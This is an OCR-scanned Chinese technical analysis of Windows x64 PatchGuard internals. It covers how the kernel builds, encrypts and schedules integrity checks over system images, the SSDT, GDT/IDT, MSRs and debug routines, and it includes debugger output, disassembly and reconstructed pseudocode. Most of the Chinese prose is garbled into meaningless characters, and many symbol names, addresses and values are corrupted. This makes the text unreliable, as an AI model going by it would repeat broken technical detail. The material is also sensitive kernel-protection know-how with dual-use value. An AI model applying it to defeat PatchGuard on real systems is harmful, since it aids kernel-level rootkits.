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K TFwindows x64 LHPatchGuard@ETHARK, BEAELFET . ~. "o PCHIWIZHALARAG/E nt ! KeInitSyste
nf)—#, BRERGBTEFRMATT .

3.1. HJUEALPG Context

PCHIEEALHIEntry point&KiDivide6432(), ML b, XAREIRAERHE MAEMT LT T LR (anti-p
atch protections) o HERTER T —ANERVEERME:

ULONG KiDivide6432 (

IN ULONG64 Dividend,

IN ULONG Divisor)

{

return (Dividend / Divisor );

}

IAMRBEUEA, HEREE T HELRE! IMRBEIBEERE Rt [KiTestDividend (0x014b5fa3a05372
4c¢) , Bp¥ROxcb5fa3 (BWARFERBERG, EHRHHLE—INER) . INMREPATE, WRERENESE
HO0x5ee0b7e5 7%, nt!KelnitSystem() Hi<BSoDF& %, bug checkf20x5d (UNSUPPORTED PROCESSOR) ,
BFEL L, REGHEAEBSD FRERK". ) .
XERFERHEEDERFPERHN—MEYR T, MRREMERE, RE53ECHRMEHIT. AMD641E
LFEMFE, WRPATIVIELEREEE (ERRDINFET , e - REER. REERRS
SEAEMRE, EAZPOELEINMEHRE, SEEVBMPCT RE. B, MBMT2ZEEAM
We? 4EHETE.

BErRBEMRALFEZEnt KiTestDividend 5 5 —1~4/FHZ &nt |KdDebuggerNotPresent 5 Z VB R . Bint!KiTe
AN i A ABA B B 27 35 Hu Al HN Yo+ 1T AN AL e a NA+Darncnan + A& ( WE A ST LN
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1kd> dq nt!KiTestDividend L1

fffff800 ‘011766e0 014b5fa3 ‘a053724c

1kd> db nt!KdDebuggerNotPresent L1

fffff800 ‘011766e7 01

BR, MR RGHE T HIALS, NKdDebuggerNotPresent 0, AHRHL, KiTestDividendA0x004b5fa3a05372
4c, XPEBRIHIREBRILT R£0x5ee0b7eb (0x004b5fa3a053724c+0xcb5fa3 = 0x5eeOb7e5) (0x014b5fa3a053
724c +0xcb5fa3 = Ox1A11F49AE Fiith) . BRIAL. XEEIRE, WIRERBEVIHBLPCT RAM, R4
T—MNRARE, WPCTFRAN BN, FARXABREE R XBHIRT, PR ARIERT. 34,
WMREPCT RAVIIGWE, B RS, REMAEFRIERSKBSDT .

Hf# TKiTestDividend, T—F#iR2 T HEKWMATET X ANBRER RK T FPATPCTF RAVIMHLERIE. X
MEENMTRBMATF T nt!KiDivideErrorFault ). &, FrA MBREHEIRILIE I LET XA BH -
KiDivideErrorFault () R4 — RFIKIAE G, R&LHAnt!KiOp_Div() REBCRAEIXAERIEH R. Kilp
Div() RSB E S FERIBRVESE R, WBREON0. AH R A AR I T

kd> k

Child-SP RetAddr Call Site

fffffadf ‘e4albf90 fffff800 ‘010144d4 nt!KiOp_Div+0x29

fffffadf ‘edalbfe0 800 ‘01058d75 nt!KiPreprocessFault+0xc7

fffffadf ‘e4al6080 fffff800 ‘0104172f nt!KiDispatchException+0x85

fffffadf ‘e4al6680 fffff800 ‘0103f5b7 nt!KiExceptionExit

fffffadf ‘e4al6800 fffff800 ‘0142132b nt!KiDivideErrorFault+0xb7

fffffadf ‘e4al6998 fffff800 ‘014212d3 nt!KiDivide6432+0xb

fffffadf ‘e4al69a0 fffff800 ‘0142a226 nt!KelnitSystem+0x169

fffffadf ‘e4al6ab0 fffff800 ‘01243e09 nt!PhasellnitializationDiscard+0x93e

fffffadf ‘e4al6d40 fffff800 ‘012b226e nt!Phasellnitialization+0x9

fffffadf ‘e4al6d70 fffff800 01044416 nt!PspSystemThreadStartup+0x3e

fffffadf ‘e4al6dd0 00000000 ‘00000000 nt!KxStartSystemThread+0x16

KiOp_Div () B $FE B AR AL B FEABRVESE R AT, 2B 51 Ant [KiFilterFiberContext () B%. XA %I RIC
AT

nt!KiFilterFiberContext:

fffff800 ‘01003ac2 53 push rbx

ffff£f800 ‘01003ac3 4883ec20 sub rsp, 0x20

800 01003ac7? 488d0552d84100 lea rax, [nt!KiDivide6432]

ffff£f800 ‘01003ace 488bd9 mov rbx, rcx

fff££800 ‘01003adl 4883c00b add rax, Oxb

FEFFF800 01003ad5 483981£8000000 cmp [rcx+0xf8], rax

800 ‘01003adc 0£f855d380c00 jne nt!KiFilterFiberContext+0x1d

fffff800 ‘01003ae2 e899fa4100 call nt!KiDivide6432+0x570

MK BRI AT B B, HRAE A W BRIE A R R A bk R Bt R&nt |KiDivide6432 + Oxb. RICH—T, FAIH
AeE 2

nt!KiDivide6432+0xb:

fffff800 0142132b 41f7f0 div r8d

WRERIEHE R K EAEKiIDivide6432 + OxbHJH1T7, MIFEKiDivide6432+0x570/ M7 Mt 51 F— AR A4 i
S CEE: 0x2d8) . XAMEME Tnt!KilnitializePatchGuard () B ¥URE BB IAT, HMIERXAERET
BT PCTF RAM 2.

KilnitializePatchGuard () EREUA B LR K, HAIMEM T —contexts, XEcontextsH K M4 E 1
R4 1% (certain system images) . SSDT. processor GDT/IDT. %55E IS HIMSRs (certain critical
MSRs) LK —L6 5 KK HIF2. KilnitializePatchGuard ) $ATHT, KiDivide6432iFE i — 1tk ik =
HIWT LT RAR TR UZEEAEIIN, WERE, PCRABALEE):

nt!KiDivide6432+0x570:

800 01423580 4881ecd8020000 sub rsp, 0x2d8

800 01423587 833d22dfd7ff00 cmp dword ptr [nt!InitSafeBootMode], 0x0

800 0142358e 08504770000 jne nt!KiDivide6432+0x580



nt!KiDivide6432+0x580:

fffff800 ‘0142ac98 b001 mov al, Ox1

fffff800 ‘0142ac9a 4881c4d8020000 add rsp, 0x2d8

fffff800 ‘0142acal c¢3 ret

WRRENR UL EEAEEH, MKilnitializePatchGuard ) SE&TFBVIHUPCT RET :

(1).  #t%ntoskrnl. exeH I INITKDBGH ) K /s
EHInt !FsRt1UninitializeSmallMcb () B& %3t 7E INITKDBGHi .
#int!FsRtlUninitializeSmallMch () BRE I Hhhik4% i3 45nt | Rt 1PcToFileHeader .
Rt1PcToFileHeader?Entoskrnl. exesF## & FsRt1UninitializeSmallMcbh () j5, 2 A SHER[E— n

tE Ak,
AR HntE bk %245t |Rt1 InageNtHeader () B #. XA B #0& [B] —NPIMAGE_NT_HEADERS#&4t .
FsRtlUninitializeSmallMcb () JRVA = FsRtlUninitializeSmallMcb () #isit - ntEudit.
RIGHntHEHbE . 3R75 /) IMAGE NT HEADERSHbik. RVAf%i#4int!RtlSectionTableFromVirtualAddress ()

B, M THE H INITKDBGHS () ZE H

kd> ? rax //HET, BRE{EEraxH

Evaluate expression: —8796076244456 = fffff800 ‘01000218

kd> dt nt!_IMAGE_SECTION_HEADER fffff800 ‘01000218

+0x000 Name : [8] ”INITKDBG” //FATTEIRHIFF

+0x008 Misc : <unnamed-tag>

+0x00c VirtualAddress : 0x165000

+0x010 SizeOfRawData : 0x2600

+0x014 PointerToRawData : 0x163a00

+0x018 PointerToRelocations : 0

+0x01c PointerToLinenumbers : 0

+0x020 NumberOfRelocations : 0

+0x022 NumberOfLinenumbers : 0

+0x024 Characteristics : 0x68000020

BOXANEEAE R B 128 T SR RSP AT MRS . INITKDBGHS H FIARAG &4 5 DL 3] — A B 4 B i B AR

T3 (allocated protection context) H1. FEEIERTER, £ FIF X/ contexts

(2). EMIPoolTagArray

W4 58 INITKDBGAER T {5 B )5, KilnitializePatchGuard () AT T — MABENLE =428 (pseudo—rand
om number generations) , FERPIHM! XERE K, FHEHERE. XMYFEIEERMREET
k-

fEFff800 0142362d 0f31 rdtsc //#3E|CPUE Ja 3 LAE (KB 1T 1
fEEF£800 “0142362f 488bac24d8020000 mov rbp, [rsp+0x2d8]

800 ‘01423637 48c1e220 shl rdx, 0x20

800 ‘0142363b 49b£0120000480001070 mov r15, 0x7010008004002001
800 ‘01423645 480bc2 or rax, rdx

800 ‘01423648 488bcd mov rex, rbp

800 0142364b 4833c8 xor rcx, rax

800 ‘0142364e 488d442478 lea rax, [rsp+0x78]

800 01423653 4833c8 xor rcx, rax

800 ‘01423656 488bcl mov rax, rcx

800 01423659 48c1c803 ror rax, 0x3

800 ‘0142365d 4833c8 xor rex, rax

800 01423660 498bc7 mov rax, rl1b

800 ‘01423663 48f7el mul rcx

800 ‘01423666 4889442478 mov [rsp+0x78], rax

800 ‘0142366b 488bca mov rcx, rdx

800 “0142366e 4889942488000000 mov [rsp+0x88], rdx



fffff800 ‘01423676 4833c8 xor rcx, rax

800 ‘01423679 48b88fe3388ee3388ee3 mov rax, 0xe38e38e38e38e38f

800 01423683 48f7el mul rcx

fffff800 ‘01423686 48cleald3 shr rdx, 0x3

800 ‘0142368a 488d04d2 lea rax, [rdx+rdx*8]

800 ‘0142368e 482bc8 sub rcx, rax

800 ‘01423691 8bcl mov eax, ecx

FEAERIX S — BB fEpool tagsBUAH R T hr. X EMpool tagsH4 i tagF EAEPGHHL AR .
KT WAl & FLiX M pool tagsBH, VLRI AFENERS, ES%H LT A:

FEFFF800 01423693 488d0d66c9bdff lea rcx, [nt]

fFFFF800 “0142369a 448b848100044300 mov r8d, [rex+raxk4+0x430400] //rax= k&2 = 4L i BEHLEL

T &, PoolTagArray = ntEMshk + 0x430400; RandomPoolTaglndex = eax. JEE, P tagh4PMNET. PG
FrHftagstn T :

1kd> db nt+0x430400

41 63 70 53 46 69 6¢c 65-49 70 46 49 49 72 70 20 AcpSFilelpFIIrp

4d 75 74 61 4e 74 46 73-4e 74 72 66 53 65 6d 61 MutaNtFsNtrfSema

54 43 50 63 00 00 00 00-10 3b 03 01 00 f8 ff ff TCPc..... N

(3). 4rHcContext
Context = ExAllocatePoolWithTag(

NonPagedPool,

(InitKdbgSection—>VirtualSize + 0x1b8) + (RandSize & OxT7ff),

PoolTagArray[RandomPoolTagIndex]

);

iXANContext ) &5 A TR PatchGuardContext, H ka1 9. PATCHGUARD_CONTEXT. iXANZ5H44KRIETO
x48NFFi & Mnt! CmpAppendD11Section () ¥ MK, XANREMNELFHE —EMIRS, HELFRHREEZIT
it fi# 35 PATCHGUARD_CONTEXT%5 #44 /) . #E#$CmpAppendD11Section () B ¥#% Il #PATCHGUARD_CONTEXTZ: #44 J5
, KiInitializePatchGuard () &3t ZEPATCHGUARD CONTEXTZ5# ik th i T — A $itubt, W FE: (F&E
, 6AN R R B BE R8N F . )

KiInitializePatchGuard () R fRFELF A LR EdREH G, MBEF=AE—ANBENIE, Mool tagsHZHHIREUKT
Miffjpool tag, X—/“taghl THE/E MM ECERME, B IRFFIEPATCHGUARD_CONTEXTSE #4) 44 fr) fi % 9 0x 1884k
o BMEALE, BT 2ANBENLE, 7E S T AN PATCHGUARD_CONTEXTZS #ik i A T X AN BE LS. — A
VEBENUIEFA AL (E (fRAFAEPATCHGUARD_CONTEXTZ5 #4448 ) (i #8 90x18c4k) , 73— AN FIMEXORFH T (fRFFFEPATCH
GUARD_CONTEXTZ #4 44 1l # 9 0x 19048«
(4).  REURE U H bk 2= 18] (4 7
FE R MM cpuid ExtendedAddressSize (0x80000008) ¥ B &%, FTf3 HI{E 7 EPATCHGUARD_CONTEXTSE #4)
PR H) B % 9 0x1b4AL o
(5). ¥ DUINITKDBGi
BN E MR B sub-context (individual protection sub—contexts) Hl, EMMIHRE — N FERIER
£ K INTTKDBG5 % 1 #PATCHGUARD_CONTEXTZ: #4A . tRARAG 0T -
memmove (

(PCHAR) PatchGuardContext + sizeof (PATCHGUARD CONTEXT),

NtImageBase + InitKdbgSection—>VirtualAddress,

InitKdbgSection—>VirtualSize) ;
#&: sizeof (PATCHGUARD_CONTEXT) = O0x1b8 //Ja X HERE
WIGEAL T PG context I EE# 45, TRt H Fsub-contexts T . Sub—contextsftFE T PCERI I A
Lok E IR R o
3.2.  WIMBWZRS MLk
PGEL {73 Y TR L &5 1) A A8  FH B I sub—contex t R iR . X sub—contextssh i)k #l & LAPATCHGUARD_CONTEXT
CEVE TG . F1464L L F 44 sub—contexts)i, PG context (CHX 4 sub—context, ¥ HFR Nparent contex
t) &HX0R, #R/5KilnitializePatchGuard () BRI — AN timerHE3IZ « XA timer FI1E F R IE 1T HUEP

N2 Z G0 A i hA kR R R AR TTT A 77 DT Lk b Ak BL /gt R IV NN » PRFINS IVAPPPRSE A Wy S © 8 QAN = Rar g | S T = o= 2 1 o B



UT RILIN SR FU MY B TEAY I\ MT o PR J KA P SETY MO, BLLILULIGLIZEralCuuuaruy) g ey BG J =00 6 W L
IR A B sub—contexts Mk, JEH ISR A0x4H10x5 ) 45 M) 14K

1#3'System imagesHJsub—contextHI¥ILE4L

£R31SSDTH ] sub—context I HI4h 4L

£*$"GDT/IDT/MSRs ] sub—context I HI tH4L

{#4FDebug routinesfisub—context I WIIEL

(1). {#37System imagesHJsub—contextHI¥IIE/L
PGERIHI R N 1Z4EMR (certain key kernel images) A : ntoskrnl.exe. hal.dll. ndis.sys. X845
B KIS Bk & 453 45nt | PgCreateImageSubContext () K%k :
NTSTATUS PgCreateImageSubContext (
IN PPATCHGUARD_ CONTEXT ParentContext,
IN LPVOID SymbolAddress);

St Fntoskrnl. exe, fEEKIFF Sl Rnt |KiFilterFiberContextijihdk; *tFhal. dll, {55 Sk EH
allnitializeProcessorfJHudit; ¥ Fndis. sys, FEiEHZEN OMbE, XA Ok R HFnt ! GetModu
leEntryPoint %3k 8. PgCreateImageSubContext () BRI IX e images T K I k2= AW X 45 HIPG s
ub—contexts.
B —/~sub—contextfrfFimagefIsectionsfichecksum (FFEHIF) . 2 -AFIZE =/ sub—context s HlRFFim
agefJIATHM Import Directoryfchecksum. Z3HciX%sub—contextsHIFrA FIFRE <A — IR FEE (sha
red routine. M AFFH shared B “ILEK)” B “MEK” b “FLZER” &7 , WA “IHEEK”
RE TR — AN T RE — B AR I checksum, 32 B2 X A~ BE ALK XOR(E A fR 77 fEparent PG contex
t G5 MR R B I VEBE NI SR ALK AR FENL L (JRSCR:: These routines all make use of a shared routine
that is responsible for generating a protection sub—context that holds the checksum for a block
of memory using the random XOR key and random rotate bits stored in the parent PatchGuard cont
ext structure.) o XAMREREHIE LW T:
typedef struct BLOCK_CHECKSUM_STATE
{

ULONG Unknown;

ULONG64 BaseAddress;

ULONG BlockSize;

ULONG Checksum;
} BLOCK_CHECKSUM_STATE, *PBLOCK_CHECKSUM STATE;

PPATCHGUARD SUB_CONTEXT PgCreateBlockChecksumSubContext (

IN PPATCHGUARD_CONTEXT Context,

IN ULONG Unknown,

IN PVOID BlockAddress,

IN ULONG BlockSize,

IN ULONG SubContextSize,

OUT PBLOCK_CHECKSUM_STATE ChecksumState OPTIONAL);
BLOCK_CHECKSUM_STATE% #4344 7 i) Unknown i, i3 {8 3 B nt | PgCreateBlockChecksumSubContext () 2R % f{Unknow
nZH, EFRKEE, XMER0, BEFMAH, K.
PgCreateBlockChecksumSubContext () R £ it H checksumf) HIE R E #, HARLWT:
ULONG64 Checksum = Context—>RandomHashXorSeed;

ULONG Checksum32;
// Checksum 64-bit blocks
while (BlockSize >= sizeof (ULONG64))
{
Checksum "= *(PULONG64)BaseAddress;
Checksum = RotateLeft (Checksum, Context—->RandomHashRotateBits);
BlockSize —= sizeof (ULONG64) ;
BaseAddress += sizeof (ULONG64) ;



// Checksum aligned blocks
while (BlockSize—— > 0)
{

Checksum "= *(PUCHAR)BaseAddress;

Checksum = RotateLeft (Checksum, Context—>RandomHashRotateBits) ;

BaseAddress++;

}
Checksum32 = (ULONG)Checksum;
Checksum >>= 31;
do
{
Checksum32 "= (ULONG)Checksum;
Checksum >>= 31;
} while (Checksum);
Checksum327ft /& 5t J5 15 £ ¥ checksum, H £ {#7F FIBLOCK_CHECKSUM_STATEH
N T iEBWI 5 inage sectionsfIchecksumf] H i), nt!PgCreatelmageSubContext () EREN< AT REL:
PPATCHGUARD SUB_CONTEXT PgCreateImageSectionSubContext (

IN PPATCHGUARD CONTEXT ParentContext,

IN PVOID SymbolAddress,

IN ULONG SubContextSize,

IN PVOID ImageBase) ;
PgCreatelmageSectionSubContext () B & e Mint | KiOpPrefetchPatchCountfE & & N0. TERAN0, A
HEHPARIEF T3 (block checksum context) A&7 fiimageF i sections. BN, XAREE
M2 imageF IFTE T, FHRNEATHH — A checksum, {HRGFEINIT,. PAGEVRFY. PAGESPECHIPAGEKDIX L&
o
5 4b, PgCreatelmageSectionSubContext () B #UE 21 Fint ! PgCreateBlockChecksumSubContext () B ¥R it
HimageJIATFl Import Directory.

(2). 1£47SSDTHIsub—context ¥ IE4L

=T BT R ZHOOKE R L I ZSSDT T . Win7 x64% 4 FSSDTR S5Windows XP x86 &4 F HISSDTRE A —

B (EIRIBAKIHSSDT HOOKT , PARTHEiEWindows XP x86 T HISSDT HOOK, #iiXEUAZENHEME". ™)

FErH, YEEFRE R B HBER AR : dwo(nt!KiServiceTable+n)+nt!KiServiceTable (n=0, 1, 2+-+) . {HFE

BINRG LA ARIMR, A, MiZRRARARE . UTRRERHARMES HE:
BERHAE, W

BT 1E& 13 2 1) &nt | NtMapUserPhysicalPagesScatter () %, EBEEVindbg P BEF ZR UL, WF

kd> u nt!NtMapUserPhysicalPagesScatter 11

nt!NtMapUserPhysicalPagesScatter:

FEFFF800 040cd190 48895c2408 mov gword ptr [rsp+8], rbx //iX5JE L #)488bc4 mov rax, rsp

WA=, AR RE?

X B 15 2 )NtMapUserPhysicalPagesScatter () B b bt HEFFFF800™ 040cd190
HEFEnt!KiServiceTablefy#sllk, WT:

kd> dd nt!KiServiceTable 14 //FiX% e WIRFERIEEH T dwo, FrPAEREIA{EHEKisServiceTable

IRAF TN B R

fEFf£800 03cbcb00 04106900 02f6£000 ff£72d00 031a0105

nt!KiServiceTableffjiilit = ffff£800 03cbcb00; offset = dwo(nt!KiServiceTable) = 04106900.
KiServiceTable. offset. Address=&HMIKR:

fFEFF800°040cd190 — FELFB00° 03cbcb00 = 410690 (REREA D , 5041069002 H 4 RAZABMAZH T

BrbL, mEBARKNARN: (dwo(nt!KiServiceTable+n) >>4)+nt!KiServiceTable (n=0, 1, 2+*+) o XA
5http://bbs. dbgtech. net/forum. php?mod=viewthread&tid=360—#f (FREZERIZT ) . EFNNHt4



B 47, EENEE, ULFERAHE -
MRIGRTWinT x64 R A FHISSDTRIE R, REAL R T, MERSHBE oo
PG¥Ent ! PgCreateBlockChecksumSubContext () B EH {#37 T nt!KiServiceTablefint !KeServiceDescriptorTa
ble. RFXAREIPFHFEWT:
PgCreateBlockChecksumSubContext (
ParentContext,
0,
KeServiceDescriptorTable—>DispatchTable, // KiServiceTable
KiServiceLimit * sizeof (ULONG),
0,
NULL) ;

PgCreateBlockChecksumSubContext (
ParentContext,
0,
&KeServiceDescriptorTable,
0x20,
0,
NULL) ;

(3). fRIGDT/IDTH]sub—contextKIFTIE4L
GDT 2 FH SR Hiik Py A% B3 F I N 72 BE (memory segments) . XHBEMN LR KM, GDTREMNTEEK, H
RIETAE B — ey € FIGDT A Dt Al BLiE A R A RS H ) (non—privileged) « F PN HEF B E
BAEAFE. IDTXHEE K context & R context RLHRBA K. EFXRLFERT, F=T7 A EER
E [ REAH BRCRR 4 R A% B N A T s AR SR BEATT,  Blhook IDT.
PGIR3GDT/IDTHI BRI, FER{HFnt!PgCreateBlockChecksumSubContext () RERLINE), URFEAEANEZH
Hcontext. HTIRFEGDTHIIDT(E B A FF 882 545 € AL BB AH G BRI, FBAPCHL TR B LH A FoAX
INREIBEBE A Fcontext. B AL E KA FESRIREXGDTAIIDTH #uht, PGHE 551 Fnt !KeSetAffinityThrea
dO %, DBfRE CEITEXMEE A E. 25, PGIAANt!KiGetGdtIdt () B ECRIRGGDTAIIDT ) %
Huhko XANBREHIE LT
VOID KiGetGdtIdt (

OUT PVOID *Gdt,

OUT PVOID #Idt);
ESRIREGDTAIIDTE M b, RN — RS, (BEEERTRYGDTAIDTER, &7EFNA F R Eh AT
. 'BEMH&: nt!PgCreateGdtSubContext () 1 nt!PgCreateldtSubContext (). & XN TF:
PPATCHGUARD SUB_CONTEXT PgCreateGdtSubContext (

IN PPATCHGUARD CONTEXT ParentContext,
IN UCHAR ProcessorNumber) ;

PPATCHGUARD SUB_CONTEXT PgCreateIdtSubContext (

IN PPATCHGUARD CONTEXT ParentContext,

IN UCHAR ProcessorNumber) ;
XN RBESEFTERATELS F3EH . nt!KeNumberProcessorstEmMFANAbFE S, EATTEEMRA AL HE 48 iR
H.

(4). f%3Processor MSRsffjsub—contextRI¥IEE4L

BB AL B SR DA R R AL T P e B AR BT 7. fEZ BT, KEZHM0S, B
indows, #FEH—MRFBRAERARH . Fr—REOLEERAGLSRHTRATA, Wsyscallfsysent
erfn®. XHLATHEH BIMSR (processor—defined Model-Specific Register) . MSRELEE T BIK: M FH I N 1%
R (5HPSRETRD ik, 7Ex64284 b, #HZ ik ®IMSREEFRNLSTAR (Long System Target—Add
ress Register) MSR. SMSRAMIXEXHIcodef0xc0000082. 7ERL)EsNEFEF, x64 A MR Ant IKi
SystemCall64 () &R EF Hu ik .

Ak Fofr M T R L AR —— 2 R A ART OmAN won bk n==1 _ 1:  ZLxXx@DM LaYale nk o WPS NERVENE ¥ SN N BV B A N



TREA /Y 1 WI AL 55 — /7 BT DUSCLD LAK. MOKHY1E , M IINNOOKING R ET YA H » FU{LFELTeateMST>UDLONTEXT \) ¥ X H
B T RANT (type 7) Hsub—context &4k H 22 FEMSRFIE -
PPATCHGUARD SUB_CONTEXT PgCreateMsrSubContext (

IN PPATCHGUARD_CONTEXT ParentContext,

IN UCHAR Processor) ;
5GDT/IDTH) RS —#, LSTAR MSREGME /2 S5ALBRERAHRHK), R/EAESMCES LHSEBRE 0. NHHRE
M IE B kb7 28 - 3R75 HIMSRIE, PG Fnt !KeSetAffinityThreadi® £ AR R 3K EXMSRAE [ 22 75 2 3B 47 7E 40 2
B b FE 2% .

(5). 4#37Debug routinesHJsub—context XI5k
PGAIE T —/ MNPk sub—context (type 6) ZiMARIRIPFELE B RE, XL R ANZAERRKE K
» Wint!KdpStub ) 5. BREREE, RWABEARFARS RXANREH, 2% MHnt!KdpStub () B%
kBRI RE. LhrE, XANREREnt | KiDebugRoutine () %8 H K, nt!KiDebugRoutine () %L
BN RE—NERZE, AHnt!KiDebugRoutine () BRI Znt !KiDispatchException() . FTLA, X/AMEH KRS
#&: nt!KiDispatchException () nt!KiDebugRoutine () nt!KdpStub () . XL IR T KB+ 5%
R :
PPATCHGUARD SUB_CONTEXT PgCreateDebugRoutineSubContext (

IN PPATCHGUARD CONTEXT ParentContext) ;
XA sub—context¥JIE )G, HIFHRAE Tnt!KdpStub ()« nt!KdpTrap () Mnt!KiDebugRoutine () & i) #hhik
o IXA~sub—contextHI{E I IF BN T B 1L 55 =7 IR Bh & Hint | KiDebugRoutine () B8 I kit PAE 1A 3 # 3 J
o AJRRIEAH H Bk
3.3. {R#"PG ContextsHH
B I IF U Econtexts/E, PGEEE R IXEcontexts T o N T MHIENIXLEPG ContextsHIMEE, FiF
Hicontexts#R 5 —NRENLEHI64-bi tEFAT TXORERIE (BIINE) o BEATIXANINE#RAF B R $IERnt | PgEnc
ryptContext () o XA EIRITXORIZ ALK context FIbuffer, FHiREIXANXORE . ZEEHIE LT :
ULONG64 PgEncryptContext (

IN OUT PPATCHGUARD CONTEXT Context) ;
nt!KilnitializePatchGuard () WAL 5T E sub—contextsfg, F—HEHMEMZEprinary PG context
T (parent context) . EFEMXATIGE, FE— PRI Eicontext¥ N —4, MEHAEIMZES, PGHE
PLaise A RI#E R (plain—text) 3| HiXAcontext. ##rcontexti] B K& LG L6 IEFEFF 728 04T I AT LA
It (FESHcontextGMER—LEH) . MiF&M/E, B2 HAnt!PgEncryptContext () R Xfprima
ry PG contextBATME T . —EHRAFEFHMAZIBAFE, LFHEHAT, contextM2liSTA4E M) &40 HA
BRET, ez, hRIEWT:
PATCHGUARD CONTEXT LocalCopy;
ULONG64 XorKey;

memmove (
&LocalCopy,
Context,
sizeof (PATCHGUARD_CONTEXT)) ; // 0x1b8

XorKey = PgEncryptContext (
Context) ;

. Use LocalCopy for verification routine queuing ...

memset (  //IET &G
&LocalCopy,
0,
sizeof (LocalCopy)) ;
3.4.  HATPGISIE B %L
TEXIEEW AT A B sub—contexts)g, HIEMZFprimary PG contexthi, nt!KilnitializePatchGuard () E¥iE
T —AREMEE PCERZXFENERE) , MAMNEFEMEprinary PG context®, W N0x168H—4H K



HARET FHREVLEE — AR, 1% A B BRSOt 248 17142 8 F DA AL BEPG AR SR IR IE#R A
IR UG, primary PG contextBi BN T . MMEHSER/G, nt!KilnitializePatchGuard () BREUEE
SWITEH— N timer, XAMtimerit &FIH 2 B2 BL AR sub—contexts. FIUEHIX AN timer R HIE &nt |Kel
nitializeTimer (), Wif%iR%4ERITEMtiner AR TEE LS 5PR R sub—context S —# 4. #]
B — SR, XA timerZE Mtk 2 J50x884 HIE £0x1131 (WORD) &3 RICHH, X2AMNFHPEELS “xor [
rcx], edx” 4. HAEnt!CopAppendDl1Section () %L, IREKIEHE %L EFEE0x1131:
kd> u nt!CmpAppendDl1Section 1 1
nt!CmpAppendDl1Section:
fffff800 041b513e 2e483111 xor gword ptr cs:[rex],rdx //FE—%1E4S
kd> dw nt!CmpAppendDl1Section 1 2
FEFF£800 041b513e 482e 1131
MELE KRB 2H, MFEESHE---
YIaEAtimer S54RSS, PGELIF4E A Hnt PglnitializeTimer () BREEtimerIIANPAF T, DA {RALFE . %K
i L F
VOID PglnitializeTimer (

IN PPATCHGUARD_CONTEXT Context,

IN PVOID EncryptedContext,

IN ULONG64 XorKey,

IN ULONG UnknownZero) ;
nt!PglnitializeTimer O XANEREUHT —LHLBFEME. B, WiRHtiner IDPCTEMR R Z BT Mprimary
PG context P BENLEE K IIE R # (B4 DeferredRoutine) » H, HEHA LS SfEH A DeferredRoutine (
) i #: EncryptedContextdg%t #f1XorKey. DeferredRoutine () R EI &KX NS EMXOREEAE, MW= 4—4
ML BRIy E%T (completely bogus pointer) . XAMNTEE X &% 4 {EDeferredContext SES{E %A nt |K
elnitializeDpc () %, HLEPIHMRLUIT:
KeInitializeDpc (

&Dpc,

Context—>TimerDpcRoutine,

EncryptedContext ~ ~ (XorKey << UnknownZero)):
HIEHALDPCIE, B2 Ant ! KeSetTimer () UK DPCINABAS T o DPCHIDueTime S th RBENL ™A H. BELF
timer)g, nt!PglnitializeTimer () E¥UEIRE T .
F|EY, nt! KilnitializePatchGuard () BREUBESERR T BB fHdr, FHiR[EIFnt!KiFilterFiberContext ()M
B, ARXANBRIEERRER T 4 1E B EHATnt |KiDivide6432 O B HHIdiviIES I T —%E2T . &
SR LAEF B3 T o
RMBIHRTCALE, TIEATRT —F VTR 0] R R X AN I IERR R AT A A A R R ) . IRBAE,
X 5DPCHIFEAE R . FRATFNE X ANEIFFE T = Mprimary PG context s FENLEELE], sz b B4 kEigst
AR TR RIC4nt ! KilnitializePatchGuard () &%k :
nt!KiDivide6432+0xec3:
800 ‘01423e74 8bcl mov eax, ecx
fEEf£800 “01423e76 488d0d83clbdff lea rcx, [nt]
800 01423e7d 488b84c128044300 mov rax, [rcx+rax*8+0x430428]
FI#f, Faflpool tag array$tZHRTRAMBAR S AR, BintEHhk+0x430428R) AT /3DPCER 41 -
1kd> dgs nt+0x430428 L3
800 ‘01430428 fLfff800 ‘01033b10 nt!KiScanReadyQueues
fFFFF800 01430430 ffFff800 ‘011010e0 nt!ExpTimeRefreshDpcRoutine //=4 1, M5 FHE
800 ‘01430438 fIfff800 ‘0101dd10 nt!ExpTimeZoneDpcRoutine
MEL EAS B R BEHEN H X LeDPCRR £ v] REHEY, (HIEE A WA R b i3 B3 ] 51 FiX B 46HIF context ¥ R H3h
TR,
NZ%E Fift, T3 REMBEIXLEREHUTHE FDeferredContextZ % (Mnt!PglnitializeTimer () EEEH
Mk #ATEIE. XA DeferredContextHiig MM N L4 FXORIT PG context. ML E=AFEHP, Hint!Ex
pTimeRefreshDpcRoutine () BR%( 5 T Bf#. nt!ExpTimeRefreshDpcRoutine () BEHIFFIEIL%&RICHmIELS TN
—F:
1kd> u nt!ExpTimeRefreshDpcRoutine //FKIOS EHIIESEZAE, RFESEX—H



nt!ExpTimeRefreshDpcRoutine:

fEFFF800 ‘011010e0 48894c2408 mov [rsp+0x8], rcx

800 ‘011010e5 4883ec68 sub rsp, 0x68

fE££800 ‘011010e9 b801000000 mov eax, Ox1

800 ‘011010ee 0fc102 xadd [rdx], eax

fffff800 ‘011010f1 ffcO inc eax

800 ‘011010f3 83f801 cmp eax, 0x1

DeferredRoutine () R E I — NS HRE —ADPCIRE, /NS RE — A DeferredContextiBit. MWIEx648K

HRALE, rexfRIFHIHAHS T RDPCIEE, rdxfRIFHIFAE 2 T &DeferredContextfg4t. HXEH —/M1

& ! XA RBHI 4% T8 4 E fEDeferredContext 158 — ¥ 4_EIATxadd¥e 4. RIBZAIINDH, 1£

#45DPCHIFE I DeferredContext &2 — ML A Bt TR 4T, KR ARMEWERFIH (de-reference) XA

fe4r Bt & SLEIBSoDWE ? AR RN, KR FH b — B R 7 E T EE S| (nisdirection case) M7
(=

HE3 b, nt!ExpTimeRefreshDpcRoutine (). nt!ExpTimeZoneDpcRoutine () #1 nt!KiScanReadyQueues () &%k

RS EEN, RAREREEEMMA2EEBNCS, MAREMPITT —Hcode. X=AREPFTIMIIFRE R

5| (de-reference) DeferredContextfg4t:

1kd> u fffff800 ‘01033b43 L1

nt!KiScanReadyQueues+0x33:

FEFFF800 ‘01033b43 8b02 mov eax, [rdx]

1kd> u fffff800 ‘0101ddle L1

nt!ExpTimeZoneDpcRoutinetOxe:

fff£f800 ‘0101ddle 0fcl02 xadd [rdx], eax

— HDeferredContext#fEfe 4, ME™=E—N—MKRIP A% (General Protection Fault) , XANRERME
#4int !KiGeneralProtectionFault () ¥, XNMRBRARSPATRELHRE, X578 M H K5 iR iX
MNE R E B (Wint !ExpTimeRefreshDpcRoutine () ) B RkEt. Ex64 R4 L, XANRE A FEcode532-bitHR

